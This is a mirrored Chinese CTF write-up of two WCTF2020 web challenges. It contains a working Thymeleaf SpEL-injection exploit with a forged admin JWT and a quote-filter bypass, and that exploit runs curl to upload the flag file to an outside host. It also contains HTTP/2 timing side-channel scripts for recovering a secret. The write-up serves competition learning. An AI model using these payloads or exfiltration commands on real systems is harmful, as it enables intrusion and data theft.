2

WCTF2020 writeup | JrXnm' blog

 2 years ago
source link: https://blog.szfszf.top/article/48/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

WCTF2020 writeup

2020年11月, 6472 views, #CTF

wctf题目质量很好,比赛体验也很好。

thymeleaf

image-20201120165624924

springboot,扫目录发现swagger-ui.html泄露

image-20201120165700553image-20201120165752863

https://paper.seebug.org/1332/ 对于springboot如果controller无返回值,会渲染url。

image-20201120170102683

DELETE /auth/user/xxx 时controll无返回值

image-20201120170156730

jwt爆破权限绕过

访问一直返回无权限访问,拿jwtcracker爆破密码得到admin,jwt伪造admin

绕过引号被过滤

使用concat绕过

message = input()

d = 'T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   d += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

读flag

远程环境是windows,最后使用curl 读flag,出题人预期应该是反弹shell的,但是flag就在本目录可以直接读取。

import requests

message = "curl 192.168.3.10:10000 -F "[email protected]""

d = 'T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   d += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)


burp0_url = "http://172.16.3.10:10007/auth/user/__$%7bT(java.lang.Runtime).getRuntime().exec({})%7d__::.x".format(d)
#burp0_url = "http://172.16.3.10:10007/auth/user/__$%7b{T(org.apache.commons.io.FileUtils).readFileToString(new%20java.io.File({})%7d__::.x".format(d)
burp0_cookies = {"SESSION": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJpc3MiOiJYWC1NYW5hZ2VyIiwiaWF0IjoxNjA1NzQ4NjMwfQ.RPj_a2VkktEybvoicrUuzc373-V0FAC51Av42WQeCvc"}
res = requests.delete(burp0_url, cookies=burp0_cookies)
print(res.text)

image-20201120170813858

Spaceless

访问 题目地址是二进制乱码

image-20201120171159619

分析出二进制响应内容判断是http2.0内容

使用http2.0访问方式拿到源码

from hyper import HTTP20Connection


if "__main__" == __name__:

    conn = HTTP20Connection('172.16.3.74:10008')
    conn.request('GET', '/')
    resp = conn.get_response()

    print(resp.read().decode())
#!/usr/bin/env python

import os
import time

from flask import Flask

app = Flask(__name__)

SECRET = os.environ["SECRET"]
assert " " not in SECRET

PLANCK_TIME = 5.391247 * 10 ** -44


@app.route("/")
def index():
    with open(__file__) as f:
        return f.read()


@app.route("/<secret>")
def check_secret(secret):
    if len(secret) != len(SECRET):
        return "SPACELESS SPACING!"
    for a, b in zip(secret, SECRET):
        if a == " ":
            continue
        elif a != b:
            return "INCORRECT!"
        else:
            time.sleep(PLANCK_TIME)
    if " " in secret:
        return "INCORRECT!"
    return "CORRECT!"


Process finished with exit code 0

很简单的flask程序,流程大概是输入一个secret,每一位进行比较,如果输入的对应位为空格则判断下一位,但是在下面判断如果存在空格就仍然返回INCORRECT。如果某一位正确,就会sleep普朗克时间。

流程很简单,但是题目所给的信息就这么多了。

首先sleep普朗克时间并不是真的5.391247 * 10 ** -44这么小,因为python的sleep有最小单位,我们本地跑大概在10的-5次方的数量级。

http2.0

http2.0相对于http1.x,大幅度的提升了 web 性能。它有两个很重要的特性单一长链接和多路复用,一个TCP链接就可以发送非常多个请求。

基于上面的代码,有一个基本的思路,我们可以利用单一长连接,在一个TCP链接上发送大量的请求,按位猜测SECRET值,因为如果猜测正确,那么正确数据流会进入sleep中,而失败会break。

所以最开始的思路是,一个TCP链接如果能发送10000个请求的话,那么测量这个TCP链接所用时间可以按位猜测SECRET值。

虽然本地试的时候可以发送非常多的包,但是当我使用python的hyper.HTTP20Connection真实环境发送请求时发现一个TCP链接只能发送999个请求(可能是远程的限制)。

image-20201120173849621

虽然999个请求必然会有效果,但是999个请求乘以一次sleep时间在网络波动的影响下并不能很好的区分响应。

倒序侧信道猜测

顺序一位一位的猜测仅能通过一个sleep普朗克时间区分正确与否。

首先我们测试了SECRET是以wctf{开头的,那么猜测必定是以}结尾。

而如果是倒序猜测SECRET的话,首先我们测试如果成功猜测正确后面几位,那么正确的与错误会差距越来越大。因为每测一位,如果这位正确,那么后面全部正确,如果错误就直接break返回了。

利用最后一位已知,直接从倒数第二位开始猜测,那么倒数第二位正确了话会延迟两个sleep,而错误直接返回。

from hyper import HTTP20Connection
import time
import copy
from urllib.parse import quote
import string
import threading

PLANCK_TIME = 5.391247 * 10 ** -44

host = "172.16.3.74"
port = 10008
times = {}

ss = string.printable


def req(text, loop):
    conn = HTTP20Connection(host, port)
    t1 = time.time()
    for i in range(loop):
        conn.request('GET', '/' + quote(text))
        try:
            conn.get_response()
        except:
            print(i)
            exit(0)
    t2 = time.time()

    return t2 - t1


def getloop(text1):
    return 999


def judge(times):
    t = copy.deepcopy(times)
    t.sort(reverse=True)
    return times.index(t[0])


def gettext(flag, s):
    return flag + s + ' ' * (38 - len(flag + s) -1) + '}'


def gettext1(flag, s):
    return flag + ' ' * (38 - len(flag + s) -1) + s + '}'


if __name__ == "__main__":

    for j in range(0, 10):

        t1 = req(gettext1("", "wctf{yejpuanjievvxkuzjftfidxqowqdegqc"), 1000)
        t2 = req(gettext1("", "xx"), 999)

        print(t1-t2)

然后再一位一位猜测,最后拿到flag

更合理的做法

做题时虽然我们是有效果的,但是想到大师赛是线上的,那拿我们的脚本可能还是会受到网络影响。比完赛和kap0k师傅交流,他们找到了这个脚本https://github.com/DistriNet/timeless-timing-attacks,简单那看了一下,它实现的更底层,能保证几个对照请求能同时到达服务器

image-20201122211856253

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK